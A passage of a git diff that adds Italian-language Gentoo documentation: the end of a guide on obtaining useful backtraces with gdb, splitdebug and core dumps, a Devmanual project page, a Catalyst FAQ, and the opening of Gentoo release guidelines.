+<c>gcc</c> non confonderà <c>gdb</c> (in tal caso l'opzione è già abilitata dal
+livello di ottimizzazione <c>-O2</c>).
+</p>
+
+<p>
+Gli utenti di Gentoo Hardened dovrebbero preoccuparsi anche di altri aspetti. Il
+documento riguardante le <uri
+link="http://www.gentoo.org/proj/it/hardened/hardenedfaq.xml#hardeneddebug">
+domande frequenti su Hardened Gentoo</uri> fornisce suggerimenti aggiuntivi e
+trucchi che sarebbe necessario conoscere.
+</p>
+
+</body>
+</section>
+<section>
+<title>Stripping</title>
+<body>
+
+<p>
+Cambiando solamente la propria variabile CFLAGS o rieffettuando l'emerge totale
+di world non si otterranno comunque dei backtrace significativi, in quanto
+bisogna risolvere il problema dello "stripping", o svuotamento. Di norma Portage
+ripulisce i binari (ovvero effettua lo "strip" dei binari, termine usato da qui
+in avanti). In altre parole, vengono rimosse le sezioni non necessarie
+all'esecuzione così da ridurre le dimensioni dei file che vengono installati.
+Questa è una cosa utile per l'utente medio che non necessita di backtrace utili,
+ma rimuove tutte le informazioni di debug generate dalle opzioni <c>-g*</c>, e
+anche le tabelle dei simboli che vengono usate per trovare le informazioni di
+base per poter mostrare backtrace in un formato leggibile dall'uomo.
+</p>
+
+<p>
+Ci sono due modi per impedire al processo di stripping di interferire con il
+debug e i backtrace utili. Il primo è quello di indicare a Portage che non deve
+effettuare assolutamente lo strip dei binari, aggiungendo <e>nostrip</e> alla
+variabile FEATURES. Questo lascerà i file installati esattamente come <c>gcc</c>
+li ha creati, con tutte le informazioni di debug e le tabelle di simboli, che
+aumentano lo spazio su disco occupato da eseguibili e librerie. Per evitare
+questo problema, in Portage versione 2.0.54-r1 e dalla serie 2.1, è possibile
+usare invece la FEATURE <e>splitdebug</e>.
+</p>
+
+<p>
+Con l'opzione <e>splitdebug</e> abilitata, Portage farà ancora lo strip dei
+binari installati nel sistema. Ma prima di farlo, tutte le informazioni di debug
+utili verranno copiate nel file ".debug", che successivamente verrà installato
+in <path>/usr/lib/debug</path> (il nome completo del file potrebbe essere dato
+aggiungendo a quest'ultimo il percorso in cui il file è attualmente installato).
+Il percorso per raggiungere questo file è poi salvato nel file originale
+all'interno di una sezione ELF chiamata ".gnu_debuglink", così che <c>gdb</c>
+possa sapere da quale file caricare i simboli.
+</p>
+
+<impo>
+Se vengono abilitate le opzioni <e>nostrip</e> e <e>splitdebug</e>, Portage non
+effettuerà per niente lo strip dei binari, quindi bisogna fare attenzione a cosa
+si vuole ottenere.
+</impo>
+
+<p>
+Un altro vantaggio dell'opzione <e>splitdebug</e> è il fatto che non richiede di
+ricompilare il pacchetto per liberarsi delle informazioni di debug. Questo è
+utile quando si compilano alcuni pacchetti con informazioni di debug per avere
+un backtrace relativo ad un singolo errore. Una volta che questo è corretto,
+sarà sufficiente rimuovere la cartella <path>/usr/lib/debug</path>.
+</p>
+
+<p>
+Per essere sicuri di non effettuare lo strip dei binari, ci si deve anche
+assicurare di non avere l'opzione <c>-s</c> impostata nella propria variabile
+LDFLAGS. Questa indica al linker di effettuare lo strip dei binari risultanti
+nella fase di link. Si noti anche che l'uso di questa opzione potrebbe portare
+ad ulteriori problemi. Non verrebbero rispettate le restrizioni sullo stripping
+imposte da qualche pacchetto che smette di funzionare quando viene sottoposto a
+strip completo.
+</p>
+
+<note>
+Alcuni pacchetti sfortunatamente gestiscono lo stripping da soli, all'interno
+dei makefile forniti dagli sviluppatori originali. Questo è un errore e dovrebbe
+essere indicato. Tutti i pacchetti dovrebbero lasciare a Portage il processo di
+stripping o semplicemente vietarlo completamente. La principale eccezione a
+questo sono i pacchetti binari. Questi sono solitamente sottoposti a stripping
+dagli sviluppatori originali, fuori dal controllo di Portage.
+</note>
+
+</body>
+</section>
+<section> <!-- debug USE flag -->
+<title>flag USE debug</title>
+<body>
+
+<p>
+Alcune ebuild forniscono una flag USE <b>debug</b>. Sebbebe alcuni erroneamente
+la usino per fornire informazioni di debug e giocare con le flag di
+compilazione quando essa è abilitata, il suo scopo non è quello.
+</p>
+
+<p>
+Se si sta provando ad effettuare il debug di un crash riproducibile, è
+consigliabile lasciare stare questa flag USE, in quanto essà farà compilare un
+codice sorgente diverso da quello ottenuto in precedenza. È più efficiente
+ottenere prima un backtrace senza modificare il codice, ma semplicemente
+modificando le informazioni sui simboli, e solamente dopo abilitare le
+funzionalità di debug per indagare più a fondo nel problema.
+</p>
+
+<p>
+Le funzionalità di debug che vengono abilitate da questa flag USE includono
+asserzioni, log di debug a video, file di debug, rilevazioni di falle e
+operazioni extra-sicure (per esempio la pulizia della memoria prima dell'uso).
+Alcune di esse potrebbero risultare gravose, specialmente per software
+complesso o software dove le prestazioni sono un aspetto importante.
+</p>
+
+<p>
+Per queste ragioni, è caldamente consigliato di agire con cautela quando si
+abilita la flag USE <b>debug</b>, e considerarla solamente come ultima carta da
+giocare.
+</p>
+
+</body>
+</section>
+<section> <!-- Introducing gdb -->
+<title>Introduzione a gdb</title>
+<body>
+
+<p>
+Una volta che i pacchetti sono stati compilati con le informazioni di debug e
+non sono sottoposti al processo di stripping, è necessario solamente recuperare
+il backtrace. Per farlo c'è bisogno del pacchetto <path>sys-devel/gdb</path>.
+Questo contiene il debugger GNU (<c>gdb</c>). Dopo averlo installato, è
+possibile procedere al recupero dei backtrace. Il modo più semplice per
+ottenerne uno lo si fa eseguendo il programma all'interno di <c>gdb</c>. Per
+farlo, è necessario far puntare <c>gdb</c> al percorso del programma da
+eseguire, passargli gli argomenti di cui necessita, e quindi eseguirlo:
+</p>
+
+<pre caption="Eseguire ls attraverso gdb">
+$ <i>gdb /bin/ls</i>
+GNU gdb 6.4
+[...]
+
+(gdb) <i>set args /usr/share/fonts</i>
+(gdb) <i>run</i>
+Starting program: /bin/ls /usr/share/fonts
+[Thread debugging using libthread_db enabled]
+[New Thread 47467411020832 (LWP 11100)]
+100dpi  aquafont     baekmuk-fonts  cyrillic  dejavu     fonts.cache-1  kochi-substitute  misc  xdtv
+75dpi   arphicfonts  CID            default   encodings  fonts.dir      mikachan-font     util
+
+Program exited normally.
+(gdb)
+</pre>
+
+<p>
+Il messaggio "Program exited normally" (programma terminato correttamente)
+significa che il programma è terminato restituendo il codice 0. Questo indica
+che non ci sono state situazioni di errore, ma non bisogna farci troppo
+affidamento, in quanto ci sono programmi che escono restituendo il valore di
+stato 0 quando raggiungono condizioni di errore. Un altro messaggio comune è
+"Program exited with code <e>nn</e>" (programma terminato con codice <e>nn</e>).
+questo semplicemente informa che è stato restituito un codice di stato diverso
+da zero. Potrebbe comportare una situazione di errore gestita o prevista. Per
+problemi di segmentation fault o abort, viene invece restituito il messaggio
+"Program received signal SIGsomething" (il programma ha ricevuto il segnale
+SIGqualcosa).
+</p>
+
+<p>
+Quando un programma riceve un segnale, potrebbero esserci molte ragioni diverse.
+In caso di SIGSEV e SIGABRT (rispettivamente segmentation fault e abort),
+significa di solito che il codice ha fatto qualcosa di sbagliato, come
+effettuare una syscall (chiamata di sistema) errata o tentare l'accesso in
+memoria attraverso un puntatore gestito male. Altri segnali comuni sono SIGTERM,
+SIGQUIT e SIGINT (l'ultimo è ricevuto quando viene inviato un CTRL-C al
+programma, e normalmente viene intercettato da <c>gdb</c> e ignorato dal
+programma stesso).
+</p>
+
+<p>
+Infine c'è la serie degli "eventi Real-Time". Vengono indicati come SIG<e>nn</e>
+dove <e>nn</e> rappresenta un numero maggiore di 31. L'implementazione pthread
+di solito li usa per sincronizzare i differenti thread del programma, e quindi
+non rappresentano condizione di errore di alcun tipo. È facile ottenere
+backtrace senza senso quando si confondono i segnali Real-Time con le condizioni
+di errore. Per prevenire questa situazione, è possibile indicare a <c>gdb</c> di
+non fermare il programma quando vengono ricevuti tali segnali, ma piuttosto
+passarli direttamente al programma, come nel seguente esempio.
+</p>
+
+<pre caption="Eseguire xine-ui attraverso gdb, ignorando i segnali real-time">
+$ <i>gdb /usr/bin/xine</i>
+GNU gdb 6.4
+[...]
+
+(gdb) <i>run</i>
+Starting program: /usr/bin/xine
+[...]
+
+Program received signal SIG33, Real-time event 33.
+[Switching to Thread 1182845264 (LWP 11543)]
+0x00002b661d87d536 in pthread_cond_wait@@GLIBC_2.3.2 () from /lib/libpthread.so.0
+(gdb) <i>handle SIG33 nostop noprint noignore pass</i>
+Signal        Stop      Print   Pass to program Description
+SIG33         No        No      Yes             Real-time event 33
+(gdb) <i>kill</i>
+Kill the program being debugged? (y or n) <i>y</i>
+(gdb) <i>run</i>
+</pre>
+
+<p>
+Il comando <c>handle</c> informa <c>gdb</c> su cosa dovrebbe fare quando i
+segnali indicati vengono inviati al programma; in questo caso le opzioni sono
+<c>nostop</c> (non fermare il programma restituendo il comando al debugger),
+<c>noprint</c> (non preoccuparsi di informare alla ricezione dei dati segnali),
+<c>noignore</c> (non ignorare il segnale &#8212; ignorare segnali è pericoloso,
+in quanto significa scartarli senza passarli al programma), <c>pass</c> (passare
+il segnale al programma di cui si sta effettuando il debug).
+</p>
+
+<p>
+Dopo che gli eventuali eventi Real-Time sono stati ignorati da <c>gdb</c>, si
+dovrebbe provare a riprodurre un crash (blocco o chiusura, terminazione inattesa
+di un programma) che si desidera riportare. Se lo si può riprodurre
+sistematicamente, risulta abbastanza semplice. Quando <c>gdb</c> informa che il
+programma ha ricevuto un segnale SIGSEV o SIGABRT (o qualsiasi altro segnale che
+potrebbe rappresentare la condizione di errore per il programma), si deve
+effettivamente procedere per avere un backtrace, possibilmente salvandolo da
+qualche parte. Il comando di base per fare questo è <c>bt</c>, che è una
+scorciatoia per <c>backtrace</c>, il quale mostrerà il backtrace del thread
+corrente (se il programma non è multi thread, esiste allora un solo thread).
+</p>
+
+<p>
+Un comando alternativo per avere un backtrace più dettagliato è <c>bt full</c>.
+Questo permette di avere anche informazioni riguardo a parametri e variabili
+locali della funzione dove vengono effettuate le chiamate (quando questi sono
+disponibili e non rimossi dalle ottimizzazioni). Ciò comporta una tracciatura
+più lunga ma anche più utile quando si cerca di scoprire, per esempio, perchè un
+puntatore non risulta inizializzato.
+</p>
+
+<p>
+Ultimamente non è raro che perfino semplici programmi vengono scritti con thread
+multipli, rendeno l'uso di un semplice output di <c>bt</c>, anche se
+significativo, abbastanza inutile, in quanto potrebbe rappresentare lo stato di
+un thread diverso da quello in cui il segnale è invocato, o da quello in cui si
+manifesta la condizione di errore (nel caso in cui ci sia un altro thread
+responsabile dell'invocazione di segnali). Per queste ragioni, si potrebbe
+invece recuperare la traccia con il comando esteso <c>thread apply all bt
+full</c>, che indica al debugger di riportare la tracciatura completa di tutti i
+thread al momento in esecuzione.
+</p>
+
+<p>
+Se il backtrace è corto, è facile fare copia e incolla fuori dal terminale (a
+meno che il fallimento non avvenga in un terminale senza X), ma talvolta è
+semplicemente troppo lungo per essere copiato con facilità, perchè si estende su
+più pagine. Per poter indirizzare i backtrace su un file da affiancare al bug, è
+possibile usare il sistema di <c>logging</c>:
+</p>
+
+<pre caption="Usare il sistema di logging per salvare il backtrace su file">
+$ <i>gdb /usr/bin/xine</i>
+GNU gdb 6.5
+[...]
+
+(gdb) <i>run</i>
+[...]
+
+(gdb) <i>set logging file backtrace.log</i>
+(gdb) <i>set logging on</i>
+Copying output to backtrace.log.
+(gdb) <i>bt</i>
+#0  0x0000003000eb7472 in __select_nocancel () from /lib/libc.so.6
+...
+(gdb) <i>set logging off</i>
+Done logging to backtrace.log.
+(gdb) <i>quit</i>
+</pre>
+
+<p>
+Ora è possibile prendere il backtrace dal file <path>backtrace.log</path>, e
+inviarlo semplicemente tramite email o allegare il file al bug relativo.
+</p>
+
+</body>
+</section>
+<section>
+<title>Core dump</title>
+<body>
+
+<p>
+Talvolta non è facile riprodurre il fallimento (o meglio, la situazione di
+crash), il programma sfrutta pesantemente i thread, la sua esecuzione in
+<c>gdb</c> è troppo lenta o viene scombinata quando eseguito tramite di esso
+(non dovrebbe sorprendere nessuno il fatto che eseguendo all'interno del
+debugger ci sono più bug che risultano riproducibili senza il debugger stesso).
+In questi casi, esiste uno strumento che viene in aiuto: il core dump.
+</p>
+
+<p>
+Un core dump è un file contenente l'intera area di memoria di un programma
+quando questo termina in malo modo. Usando questo file, è possibile estrarre il
+backtrace dello stack anche se il programma è incappato in un crash fuori da
+<c>gdb</c>, assumendo che i core dump siano abilitati. Di base i core dump non
+sono abilitati su Gentoo Linux (lo sono, comunque, in modo predefinito su
+<uri
+link="http://www.gentoo.org/proj/en/gentoo-alt/bsd/fbsd/">Gentoo/FreeBSD</uri>),
+quindi si ha la necessità di abilitarli.
+</p>
+
+<p>
+I file core dump sono generati direttamente dal kernel; per questa ragione il
+kernel ha bisogno che siano abilitate le relative opzioni in fase di
+compilazione, per poter lavorare correttamente. Mentre tutte le configurazioni
+di base abilitano i file core dump, nel caso in cui si stia eseguendo un kernel
+embedded o si siano configurate per altre vie le caratteristiche elementari del
+kernel, bisogna verificare le seguenti opzioni:
+</p>
+
+<note>
+Si può saltare questo passaggio nel caso in cui non si abbia abilitata l'opzione
+"Configure standard kernel features", la quale non lo dovrebbe essere a meno
+che non si sia certi di cosa si sta facendo.
+</note>
+
+<pre caption="Opzioni del kernel per abilitare i core dump">
+General Setup ---&gt;
+  Configure standard kernel features ---&gt;
+    Enable ELF core dumps
+</pre>
+
+<p>
+I core dump possono essere abilitati a livello di sistema o a livello di
+sessione di shell. Nel primo caso, tutto ciò che nel sistema termina in modo non
+corretto e non ha già un gestore di tali situazioni (si veda più sotto per
+maggiori note riguardo il gestore di crash di KDE) effettuerà il dump. Quando
+abilitato a livello di sessione della shell, solo i programmi avviati nella
+sessione si lasceranno dietro un dump.
+</p>
+
+<p>
+Per abilitare i core dump a livello di sistema, bisogna modificare il file
+<path>/etc/security/limits.conf</path> (se si utilizza PAM, come avviene
+normalmente) oppure <path>/etc/limits.conf</path>. Nel primo caso, è necessario
+definire un limite (sia stringente che, più comunemente, non vincolante; per i
+file di core, questo può in ogni caso essere compreso fra 0 e no limit, nessun
+limite). Nel secondo caso, basta impostare la variabile C alla dimensione limite
+del file core (qua non c'è l'opzione "senza limite").
+</p>
+
+<pre caption="Esempio di regola per avere file core senza limite sulla
+dimensione usando PAM">
+# /etc/security/limits.conf
+*             soft      core       unlimited
+</pre>
+
+<pre caption="Esempio di regola per avere file core con dimensione massima pari
+a 20Mb quando non si usa PAM">
+# /etc/limits.conf
+*       C20480
+</pre>
+
+<p>
+Per abilitare i file core in una singola sessione di shell è possibile usare il
+comando <c>ulimit</c> con l'opzione <c>-c</c>. Il valore 0 significa
+disabilitato; ogni altro numero positivo rappresenta la dimensione in KB del
+file core generato, mentre <e>unlimited</e> semplicemente rimuove il limite
+sulla dimensione del file core. Da questo punto in poi, tutti i programmi che
+terminano a causa di un segnale come SIGABRT o SIGSEGV si lasceranno dietro un
+file core che può essere chiamato sia "core" che "core.<e>pid</e>" (dove pid è
+rimpiazzato con il pid attuale del programma che termina).
+</p>
+
+<pre caption="Esempio dell'uso di ulimit">
+$ <i>ulimit -c unlimited</i>
+$ <i>crashing-program</i>
+[...]
+Abort (Core Dumped)
+$
+</pre>
+
+<note>
+Il comando <c>ulimit</c> è un comando interno in bash e zsh. Su altre shell
+potrebbe essere chiamato in modo diverso o potrebbe perfino non essere
+disponibile per niente.
+</note>
+
+<p>
+Dopo aver ottenuto un core dump, si può lanciare <c>gdb</c> su di esso,
+specificando sia il percorso al file che ha generato il core dump (deve essere
+lo stesso esatto binario, quindi se si ricompila, il core dump è inutilizzabile)
+e il percorso al file core. Una volta che <c>gdb</c> è stato aperto su di esso,
+si possono seguire le stesse istruzioni incontrate appena prima che queste
+ricevessero il segnale di terminazione.
+</p>
+
+<pre caption="Eseguire gdb su un file core">
+$ <i>gdb $(which crashing-program) --core core</i>
+</pre>
+
+<p>
+Come alternativa, si possono usare le potenzialità della riga di comando di
+<c>gdb</c> per ottenere il backtrace senza entrare in modalità interattiva.
+Questo rende anche più facile il salvataggio del backtrace in un file o il suo
+invio ad una pipe di qualsiasi tipo. Il trucco risiede nelle opzioni
+<c>--batch</c> e <c>-ex</c> che sono accettate da <c>gdb</c>. È possibile usare
+la seguente funzione bash per avere l'intero backtrace di un core dump (inclusi
+tutti i thread) sullo standard output stream.
+</p>
+
+<pre caption="Funzione per il recupero dell'intero backtrace da un core dump">
+gdb_get_backtrace() {
+    local exe=$1
+    local core=$2
+
+    gdb ${exe} \
+        --core ${core} \
+        --batch \
+        --quiet \
+        -ex "thread apply all bt full" \
+        -ex "quit"
+}
+</pre>
+
+</body>
+</section>
+<section>
+<title>Note sul gestore di crash di KDE</title>
+<body>
+
+<p>
+Le applicazioni basate su KDE vengono eseguite in modo predefinito con il loro
+personale gestore di crash, che viene presentato all'utente tramite il così
+detto "Dr Konqi" se risulta installato (il pacchetto è o
+<path>kdebase-meta/kdebase</path> o <path>kde-base/drkonqi</path>, incluso in
+<path>kdebase-meta</path>). Questo gestore di crash mostra all'utente una
+finestra informativa che lo informa sul fatto che il programma è terminato in
+modo inatteso. In questa finestra c'è una linguetta denominata "Backtrace" che,
+quando caricata, invoca <c>gdb</c> e fa si che questo carichi i dati e generi
+l'intero backtrace per conto dell'utente, mostrando il tutto nella finestra
+principale e dando la possibilità di salvarlo direttamente in un file. Questo
+backtrace è normalmente sufficiente per riportare un problema.
+</p>
+
+<p>
+Quando drkonqi non è installato, una terminazione inattesa non genererà in ogni
+caso un core dump, e l'utente in modalità predefinita non riceverà nessuna
+informazione. Per evitarlo, è possibile usare con ogni applicazione basata su
+KDE l'opzione a riga di comando <c>--nocrashhandler</c>. Questo inibisce
+totalmente il gestore di crash e lascia che i segnali vengano gestiti dal
+sistema operativo come succede di solito. Ciò è utile per generare i file core
+quando drkonqi non è disponibile o quando si vuole ispezionare le varie parti
+dello stack a mano.
+</p>
+
+</body>
+</section>
+
+<!-- TODO
+     - aggiungere note riguardo il gestore di crash di gnome
+     - aggiungere note riguardo la rinominazione dei file core dump
+-->
+
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/it/qa/devmanual.xml b/xml/htdocs/proj/it/qa/devmanual.xml
new file mode 100644
index 00000000..cf8fc58f
--- /dev/null
+++ b/xml/htdocs/proj/it/qa/devmanual.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/qa/devmanual.xml,v 1.1 2009/02/19 23:24:41 scen Exp $ -->
+
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<!-- vim: set sw=2 sts=2 et -->
+
+<project>
+  <name>Gentoo Devmanual</name>
+  <longname>Manuale Tecnico Sviluppatori Gentoo (Devmanual)</longname>
+  <date>2006-05-24</date>
+  <author title="Autore">
+    <mail link="halcy0n@gentoo.org">Mark Loeser</mail>
+  </author>
+  <author title="Redazione">
+    <mail link="spb@gentoo.org">Stephen Bennett</mail>
+  </author>
+  <author title="Traduzione">
+    <mail link="scen"/>
+  </author>
+
+  <description>
+    Il Gentoo Devmanual è un manuale tecnico per sviluppatori che copre
+    argomenti come la scrittura di ebuild ed eclass, oltre che alle politiche
+    alle quali gli sviluppatori dovrebbero attenersi.
+  </description>
+
+  <longdescription>
+    <p>
+    Il <uri link="http://devmanual.gentoo.org">Devmanual</uri> è destinato
+    principalmente agli sviluppatori Gentoo, o alle persone interessate alle
+    specifiche dello sviluppo in Gentoo. Gli argomenti coperti includono, ma non
+    si limitano a:
+    </p>
+    <ul>
+      <li>
+        <uri link="http://devmanual.gentoo.org/ebuild-writing/">Ebuild</uri>
+      </li>
+      <li>
+        <uri link="http://devmanual.gentoo.org/eclass-writing/">Eclass</uri>
+      </li>
+      <li>
+        <uri link="http://devmanual.gentoo.org/general-concepts/autotools/">
+        Autotools</uri>
+      </li>
+    </ul>
+    <p>
+      Lo scopo del Devmanual è di servire come strumento educativo e come
+      documento di politiche per problematiche riguardanti il tree.
+    </p>
+  </longdescription>
+
+  <extrachapter>
+    <title>Documentazione</title>
+    <section>
+      <body>
+
+        <p>
+          Il Devmanual è presente all'indirizzo
+          <uri
+          link="http://devmanual.gentoo.org">http://devmanual.gentoo.org</uri>
+        </p>
+      </body>
+    </section>
+  </extrachapter>
+
+  <extrachapter position="bottom">
+    <title>Come contribuire</title>
+    <section>
+      <body>
+        <p>
+          Se si è interessati a contribuire al documento, o se si hanno
+          suggerimenti su come migliorare il Devmanual, si prega di leggere la
+          <uri link="http://devmanual.gentoo.org/appendices/contributing/">
+          sezione dei Contributi</uri> o aprire un bug in <uri
+          link="http://bugs.gentoo.org">Gentoo Bugzilla</uri> assegnandolo a
+          <mail link="qa@gentoo.org">qa@gentoo.org</mail>.
+        </p>
+
+      </body>
+    </section>
+  </extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/it/releng/catalyst/faq.xml b/xml/htdocs/proj/it/releng/catalyst/faq.xml
new file mode 100644
index 00000000..f60f5c62
--- /dev/null
+++ b/xml/htdocs/proj/it/releng/catalyst/faq.xml
@@ -0,0 +1,202 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/releng/catalyst/faq.xml,v 1.3 2008/02/24 14:18:46 scen Exp $ -->
+
+<guide link="/proj/it/releng/catalyst/faq.xml" lang="it">
+<title>Domande frequenti su Catalyst (FAQ)</title>
+
+<author title="Autore">
+  John P. Davis
+</author>
+
+<author title="Autore">
+  Daniel Robbins
+</author>
+
+<author title="Contributi">
+  William Kilian
+</author>
+
+<author title="Revisione">
+  Chris Gianelloni
+</author>
+
+<author title="Traduzione">
+  Davide Cendron
+</author>
+
+<abstract>
+Domande frequenti relative allo strumento Catalyst.
+</abstract>
+
+<version>1.1</version>
+<date>2008-02-05</date>
+
+<chapter>
+<title>Domande frequenti</title>
+<section>
+<title>Come creare un tarball stage2 e stage3 per un tipo di CPU non generico,
+come pentium4 o g4?</title>
+<body>
+
+<p>
+Per prima cosa assicurarsi che l'hardware che si sta usando sia capace di
+compilare quel tipo di stage. Se si vuole compilare uno stage per
+<c>pentium4</c>, si avrà bisogno di un sistema Pentium 4 o AMD64/Opteron. Non
+sarà possibile farlo su un sistema Athlon XP, in quanto questa CPU non supporta
+le istruzioni SSE2, le quali sono abilitate per gli stage <c>pentium4</c>.
+Similmente, se si vuole creare uno stage per <c>g4</c>, bisognerà farlo su un
+sistema PowerPC G4 o G5.
+</p>
+
+<p>
+Dopo essersi assicurati che l'hardware è adatto, seguire semplicemente i passi
+precedenti, prestando attenzione nell'impostare, per la creazione dello stage2,
+la variabile <c>subarch</c>  con una valida architettura non generica (es.
+<c>pentium4</c>.)  Di conseguenza lo stage2 verrà compilato per la
+sottoarchitettura specificata. Successivamente si userà lo stage2 come stage
+"seme" di partenza per creare lo stage3. Ovviamente si dovrà impostare la
+variabile <c>subarch</c> nelle specifiche dello stage3 con lo stesso valore
+usato nelle specifiche dello stage2.
+</p>
+
+</body>
+</section>
+<section>
+<title>Voglio creare un gruppo di stage per diverse sottoarchitetture. Come
+posso farlo?</title>
+<body>
+
+<p>
+Per prima cosa si deve compilare uno stage1 generico. Successivamente si deve
+usare questo stage1 per creare lo stage2 e lo stage3 specializzato per le varie
+sottoarchitetture. Non occorre ricompilare lo stage1, in quanto tutti gli stage2
+e stage3 specializzati possono usare lo stesso stage1 di base.
+</p>
+
+</body>
+</section>
+<section>
+<title>Posso creare uno stage1 per una CPU di tipo non generico?</title>
+<body>
+
+<p>
+Questa è un'idea molto pericolosa, in quanto come utente ci si aspetta che lo
+stage1 funzioni su ogni tipo di sottoarchitettura. In questo modo è possibile
+usare lo stage1 su ogni sistema senza problemi. Bisogna assicurarsi di non
+"inquinare" lo stage1 con codice specifico per CPU non generiche. Usare sempre
+uno stage2 o stage3 "generico" per compilare un nuovo stage1.
+</p>
+
+</body>
+</section>
+<section>
+<title>Pensavo che catalyst riuscisse a creare gli stage "da zero". Se catalyst
+crea gli stage da zero, perché allora necessita di uno "stage di
+partenza"?</title>
+<body>
+
+<p>
+Bella domanda. Ovviamente uno stage2 o uno stage3 dipendono dallo stage
+precedente per la loro creazione, e ciò è chiaramente esemplificato dal loro
+nome (es. uno "stage2" implica che prima c'era uno "stage1".). Tuttavia catalyst
+necessita di uno stage di partenza per compilare uno stage1, e vale la pena
+capire il perché di questo requisito fondamentale. Quando si crea uno stage1,
+catalyst usa il seme stage3 per impostare un ambiente in chroot. Dentro ad esso
+verrà compilato il nuovo stage1 tramite l'impostazione della variabile
+<c>ROOT</c> a <path>/tmp/stage1root</path>. Questa operazione dice a
+Portage che i nuovi pacchetti andranno installati non nel filesystem corrente,
+ma nel filesystem presente in <path>/tmp/stage1root</path>.
+<path>/tmp/stage1root</path> viene poi compresso in un archivio tar e diventa lo
+stage1 di destinazione. Ciò significa che quando catalyst crea uno stage1, lo
+stage1 stesso non eredita nessun binario o libreria dallo stage di partenza. Lo
+stage "seme" usato in qualche modo <c>ha</c> un impatto sullo stage1 di
+destinazione, in quanto gli header di Linux nel seme sono usati per compilare
+le glibc dello stage1, e i compilatori nel seme sono usati per compilare tutti i
+programmi nello stage1. Lo stage seme viene usato per isolare il processo di
+creazione dello stage1 dal sistema locale, inoltre, per esempio, permette di
+creare stage1 x86 su sistemi amd64.
+</p>
+
+</body>
+</section>
+<section>
+<title>Esiste una guida ufficiale per Catalyst?</title>
+<body>
+
+<p>
+Attualmente non ci sono guide ufficiali. Se si è interessati a scriverne uno,
+si è pregati di aprire un nuovo bug allegando la guida. La mancanza di una guida
+ufficiale non significa che Catalyst sia completamente non documentato. Quando
+viene effettuato l'emerge di Catalyst verranno installati degli esempi ben
+documentati di file delle specifiche per i vari stage in
+<path>/usr/share/doc/catalyst-$version/examples</path>.
+</p>
+
+<p>
+Se si hanno ulteriori quesiti da porre dopo aver letto gli esempi ci si può
+iscrivere liberamente alla mailing list gentoo-catalyst.
+</p>
+
+</body>
+</section>
+<section>
+<title>Dove bisogna mettere le flag USE per pacchetto, e le impostazioni di
+mascheramento?</title>
+<body>
+
+<p>
+Catalyst supporta i file di configurazione in /etc/portage. Basta aggiungere la
+seguente voce nel file delle specifiche, e assicurarsi di usare la stessa
+impostazione di <c>portage_confdir</c> per lo stage seme:
+</p>
+
+<p>
+portage_confdir: /path/to/custom/etc/portage
+</p>
+
+</body>
+</section>
+<section>
+<title>Ho veramente bisogno di creare il mio stage1 personalizzato o posso
+usarne uno tra quelli presenti nei mirror Gentoo?</title>
+<body>
+
+<p>
+È buona norma creare <b>sempre</b> il proprio stage personalizzato se non si sta
+usando lo stesso snapshot usato per creare l'ultimo rilascio. Lo stato
+dell'albero di portage dipende pesantemente da sé stesso. Se si ha uno stage1 di
+3 mesi fa, è molto probabile incorrere in problemi con pacchetti bloccanti o
+altri cambiamenti nell'albero che causeranno problemi nella creazione dello
+stage o di compatibilità.
+</p>
+
+</body>
+</section>
+<section>
+<title>Come posso tenere aggiornati i miei pacchetti contenuti nei
+GRP/stage/LiveCD?</title>
+<body>
+
+<p>
+Catalyst usa Portage per tutto il processo di creazione, per cui tutto quello
+che si deve fare è rigenerare lo snapshot di Portage e ricompilare i
+GRP/stage/LiveCD. Portage seguirà tutte le normali regole per decidere quali
+pacchetti aggiornare.
+</p>
+
+</body>
+</section>
+<section>
+<title>Catalyst usa delle sintassi particolari per le flag USE?</title>
+<body>
+
+<p>
+No, la sintassi per le flag USE di Catalyst è la stessa di Portage.
+</p>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/it/releng/docs/release_guidelines.xml b/xml/htdocs/proj/it/releng/docs/release_guidelines.xml
new file mode 100644
index 00000000..1b9850f6
--- /dev/null
+++ b/xml/htdocs/proj/it/releng/docs/release_guidelines.xml
@@ -0,0 +1,663 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/releng/docs/release_guidelines.xml,v 1.1 2007/06/27 18:55:12 scen Exp $ -->
+
+<guide link="/proj/it/releng/docs/release_guidelines.xml" lang="it">
+<title>Linee Guida di Rilascio di Gentoo Linux</title>
+
+<author title="Autore">
+  <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+<author title="Redazione">
+  <mail link="wolf31o2@gentoo.org">Chris Gianelloni</mail>
+</author>
+<author title="Traduzione">
+  <mail link="magowiz@gmail.com">Marcello Magaldi</mail>
+</author>
+
+<abstract>
+Questa guida copre sia la "Controllo Qualità" (QA) che le Linee Guida di
+rilascio per il sistema di rilascio semestrale di Gentoo Linux.
+</abstract>
+
+<license/>
+
+<version>1.4</version>
+<date>2006-01-06</date>
+
+<chapter>
+<title>Introduzione</title>
+<section>
+<title>Obbiettivi principali</title>
+<body>
+
+<p>
+Un rilascio di Gentoo Linux dovrebbe impegnarsi a dare due cose: alta qualità
+e poco stress. Le linee guida illustrate in questo documento sono un tentativo
+di promuoverle entrambe seppur mantenendole all'interno di una scadenza.
+</p>
+
+</body>
+</section>
+<section>
+<title>Panoramica sul Rilascio</title>
+<body>
+
+<p>
+Per i Coordinatori di Rilascio delle Architetture, il processo di rilascio è
+binario; c'è il tempo speso nello sviluppo e nel Controllo Qualità ("QA",
+ovvero "Quality Assurance", ndt) e quello del processo finale di rilascio speso
+facendo gli ultimi controlli di qualità per il rilascio. Durante l'intero
+processo, i Coordinatori dell'Ingegneria del Rilascio (Release Engineering,
